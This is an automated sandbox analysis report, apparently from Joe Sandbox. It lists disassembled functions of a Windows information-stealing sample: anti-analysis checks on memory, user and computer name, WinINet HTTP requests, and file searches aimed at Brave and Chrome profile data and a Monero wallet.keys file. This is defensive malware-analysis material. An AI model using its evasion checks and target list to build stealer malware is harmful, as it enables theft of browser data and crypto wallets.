API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser__aulldiv$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2525456742-0
Opcode ID: e46d084a02062b07a4491ea6bfee0fe9bfbf05ba89cecdfadd4dd2c3de1819cf
Instruction ID: 57fa167901faf5f49fb0228ccf649a9a32d87a9f5880d3cf04cb5ddeea0305b2
Opcode Fuzzy Hash: e46d084a02062b07a4491ea6bfee0fe9bfbf05ba89cecdfadd4dd2c3de1819cf
Instruction Fuzzy Hash: 7E310171A00228ABDB18F7F0FC5ABEE77B8AF44340F146628F252B6181DF745945C7A2

Function 00E11220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 00E1123E
__aulldiv.LIBCMT ref: 00E11258
__aulldiv.LIBCMT ref: 00E11266
ExitProcess.KERNEL32 ref: 00E11294

Strings

@, xrefs: 00E11233

Memory Dump Source

Source File: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: f474c20ab1e3ab6db676f7a4766a4fdfe2081a90873f6532d25a89cb5620f5d1
Instruction ID: b1f3da636a37fc18fa98aa22d069ba6464e183824918d03d42f121bd967140a5
Opcode Fuzzy Hash: f474c20ab1e3ab6db676f7a4766a4fdfe2081a90873f6532d25a89cb5620f5d1
Instruction Fuzzy Hash: 41014BB094431CEAEF10DBE0DC4ABDEBBB8AB14705F209588E706B6280D6B455819799

Function 00E26AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,008F89E0,?,00E3110C,?,00000000,?,00E31110,?,00000000,00E30AEF), ref: 00E26ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00E26AE8
CloseHandle.KERNEL32(00000000), ref: 00E26AF9
Sleep.KERNEL32(00001770), ref: 00E26B04
CloseHandle.KERNEL32(?,00000000,?,008F89E0,?,00E3110C,?,00000000,?,00E31110,?,00000000,00E30AEF), ref: 00E26B1A
ExitProcess.KERNEL32 ref: 00E26B22

Memory Dump Source

Source File: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: 2a91163542758e6033852dc52ec4360880716c8c16ff381b139dfc9e0da6ca65
Instruction ID: ab95b0cd05c6ae31aaca21c3ceb229852b258fb951ffd5fb6dfb07cd5e12c307
Opcode Fuzzy Hash: 2a91163542758e6033852dc52ec4360880716c8c16ff381b139dfc9e0da6ca65
Instruction Fuzzy Hash: 0EF03A70A40329EFEB20ABA0AC06BBE7B74FF14701F106714B503B2185CBB55540D665

Function 00E147B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00E14839
InternetCrackUrlA.WININET(00000000,00000000), ref: 00E14849

Strings

<, xrefs: 00E147C9

Memory Dump Source

Source File: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: dd9ec09cd55093258c8c595979e4d1bcab66a4d8091021d6d5f34836d48999a1
Instruction ID: 7d293f49cd5563b447c68ec19af2eb855460d2baf7aae621fd05b5d21e4780e6
Opcode Fuzzy Hash: dd9ec09cd55093258c8c595979e4d1bcab66a4d8091021d6d5f34836d48999a1
Instruction Fuzzy Hash: 06213EB1D00209ABDF14DFA4E949ADE7B74FF44320F108629F955B7280EB706A05CB91

Function 00E251F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00E2A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00E2A7E6

Part of subcall function 00E16280: InternetOpenA.WININET(00E30DFE,00000001,00000000,00000000,00000000), ref: 00E162E1
Part of subcall function 00E16280: StrCmpCA.SHLWAPI(?,008FE5C0), ref: 00E16303
Part of subcall function 00E16280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00E16335
Part of subcall function 00E16280: HttpOpenRequestA.WININET(00000000,GET,?,008FDC58,00000000,00000000,00400100,00000000), ref: 00E16385
Part of subcall function 00E16280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00E163BF
Part of subcall function 00E16280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00E163D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00E25228

Strings

ERROR, xrefs: 00E2521A
ERROR, xrefs: 00E25273

Memory Dump Source

Source File: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: ccf179b55438e1abe975f9a79b10ad5b9e0d0f5da560bc184a76ce6063cc48f9
Instruction ID: 2f4b570d11141cb3b06f683f45b200a4c6cb35d827e70b36522e5cfb54fca170
Opcode Fuzzy Hash: ccf179b55438e1abe975f9a79b10ad5b9e0d0f5da560bc184a76ce6063cc48f9
Instruction Fuzzy Hash: 9D115271900118ABCB18FF70ED56AED77B8AF50300F445168F90A7B192EF74AB05CB91

Function 00E11110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 00E1112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 00E11132
ExitProcess.KERNEL32 ref: 00E11143

Memory Dump Source

Source File: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 0d5bfa169150748f779b0db5ded73382effa1e5a46a9d92c667138c07ba68596
Instruction ID: 873e4ff55918f082ae5aae43023d43f9e2edd0cfa019c4baa9bacc7c17c00db5
Opcode Fuzzy Hash: 0d5bfa169150748f779b0db5ded73382effa1e5a46a9d92c667138c07ba68596
Instruction Fuzzy Hash: BFE0E670B4530CFFE720ABA09C0AB597AB8AB04B15F105195F709775C4D6B926409799

Function 00E110A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 00E110B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 00E110F7

Memory Dump Source

Source File: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 77a5bbf6874e929f842d20829489338ab2a7804e1a68b34a0666aca2078460f6
Instruction ID: 141db8648e8a5b6d8481a79946716c5256b91321c362f2b27fbeccb894b14c3d
Opcode Fuzzy Hash: 77a5bbf6874e929f842d20829489338ab2a7804e1a68b34a0666aca2078460f6
Instruction Fuzzy Hash: 2FF0E271A41318BBE7149AA4AC49FFFB7E8E709B15F301588F644E3280D5729E40CBA0

Function 00E11190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00E278E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00E27910
Part of subcall function 00E278E0: RtlAllocateHeap.NTDLL(00000000), ref: 00E27917
Part of subcall function 00E278E0: GetComputerNameA.KERNEL32(?,00000104), ref: 00E2792F

Part of subcall function 00E27850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00E111B7), ref: 00E27880
Part of subcall function 00E27850: RtlAllocateHeap.NTDLL(00000000), ref: 00E27887
Part of subcall function 00E27850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00E2789F

ExitProcess.KERNEL32 ref: 00E111C6

Memory Dump Source

Source File: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: 42f54d6f1ff71752840401f46cc3b41cc653137bdc1db36c03871a163ab694dd
Instruction ID: 81d9630e1aae23aa4dc580a278ff5b73e2c30a7aff7e3ede8204dd720138c727
Opcode Fuzzy Hash: 42f54d6f1ff71752840401f46cc3b41cc653137bdc1db36c03871a163ab694dd
Instruction Fuzzy Hash: 7FE012B5F15325A7CB1473B0BD0BB2B76DC5B14349F042524FA45F3102FE2AE8408665

Non-executed Functions

Function 00E238B0 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00E238CC
FindFirstFileA.KERNEL32(?,?), ref: 00E238E3
lstrcat.KERNEL32(?,?), ref: 00E23935
StrCmpCA.SHLWAPI(?,00E30F70), ref: 00E23947
StrCmpCA.SHLWAPI(?,00E30F74), ref: 00E2395D
FindNextFileA.KERNEL32(000000FF,?), ref: 00E23C67
FindClose.KERNEL32(000000FF), ref: 00E23C7C

Strings

%s\%s\%s, xrefs: 00E23A4A
%s\%s, xrefs: 00E23A6F
%s\%s, xrefs: 00E2397A
%s\*, xrefs: 00E238C0
%s%s, xrefs: 00E23AAD

Memory Dump Source

Source File: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: f9fb3305bb24e53c2c63ae64be95f9861bbf65fa520be5bf9b7c57342aa2ff85
Instruction ID: fad0990cd6d050bd3c8f7cb758387aa08c68549140ef813b593c2ecdb9a9b5cc
Opcode Fuzzy Hash: f9fb3305bb24e53c2c63ae64be95f9861bbf65fa520be5bf9b7c57342aa2ff85
Instruction Fuzzy Hash: 37A122B1A003189BDB34DF64DC89FFA77B9BB88300F044598A64DA7145DB799B84CF61

Function 00E1BE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00E2A740: lstrcpy.KERNEL32(00E30E17,00000000), ref: 00E2A788

Part of subcall function 00E2A920: lstrcpy.KERNEL32(00000000,?), ref: 00E2A972
Part of subcall function 00E2A920: lstrcat.KERNEL32(00000000), ref: 00E2A982

Part of subcall function 00E2A9B0: lstrlen.KERNEL32(?,008F8B80,?,\Monero\wallet.keys,00E30E17), ref: 00E2A9C5
Part of subcall function 00E2A9B0: lstrcpy.KERNEL32(00000000), ref: 00E2AA04
Part of subcall function 00E2A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00E2AA12

Part of subcall function 00E2A8A0: lstrcpy.KERNEL32(?,00E30E17), ref: 00E2A905

FindFirstFileA.KERNEL32(00000000,?,00E30B32,00E30B2B,00000000,?,?,?,00E313F4,00E30B2A), ref: 00E1BEF5
StrCmpCA.SHLWAPI(?,00E313F8), ref: 00E1BF4D
StrCmpCA.SHLWAPI(?,00E313FC), ref: 00E1BF63
FindNextFileA.KERNEL32(000000FF,?), ref: 00E1C7BF
FindClose.KERNEL32(000000FF), ref: 00E1C7D1

Strings

Brave, xrefs: 00E1C102
Preferences, xrefs: 00E1C11E
\Brave\Preferences, xrefs: 00E1C1DB
Google Chrome, xrefs: 00E1C634

Memory Dump Source

Source File: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: fa1eead52c740f69c23433a8022016111859af6e83c17f494a1001a3d2276f9c
Instruction ID: b467aa9e8730c3981711ea10e869e2a36eac309b5e6e7a5419696b258e04f643
Opcode Fuzzy Hash: fa1eead52c740f69c23433a8022016111859af6e83c17f494a1001a3d2276f9c
Instruction Fuzzy Hash: 5C4244729101189BCB18FB70ED96EEE73BDAF88300F445569F506B7181EE349B49CB92

Function 00E24910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00E2492C
FindFirstFileA.KERNEL32(?,?), ref: 00E24943
StrCmpCA.SHLWAPI(?,00E30FDC), ref: 00E24971
StrCmpCA.SHLWAPI(?,00E30FE0), ref: 00E24987
FindNextFileA.KERNEL32(000000FF,?), ref: 00E24B7D
FindClose.KERNEL32(000000FF), ref: 00E24B92

Strings

%s\*, xrefs: 00E24920
%s\%s, xrefs: 00E249A4
%s\%s, xrefs: 00E249FB

Memory Dump Source

Source File: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: ef0033eae0076475ebb8a73f346435a5cd72c14bbfb32911dd0439ef9018629e
Instruction ID: 0df8509b7d43ca7796b9a6b06a4db53a57f5f977b93ebe27ba8ce32c7fac6efc
Opcode Fuzzy Hash: ef0033eae0076475ebb8a73f346435a5cd72c14bbfb32911dd0439ef9018629e
Instruction Fuzzy Hash: 6F614AB1600318ABCB34EBA0EC49EFB77BCBB48700F044698B649A7145EB759785CF91

Function 00E24570 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00E24580
RtlAllocateHeap.NTDLL(00000000), ref: 00E24587
wsprintfA.USER32 ref: 00E245A6
FindFirstFileA.KERNEL32(?,?), ref: 00E245BD
StrCmpCA.SHLWAPI(?,00E30FC4), ref: 00E245EB
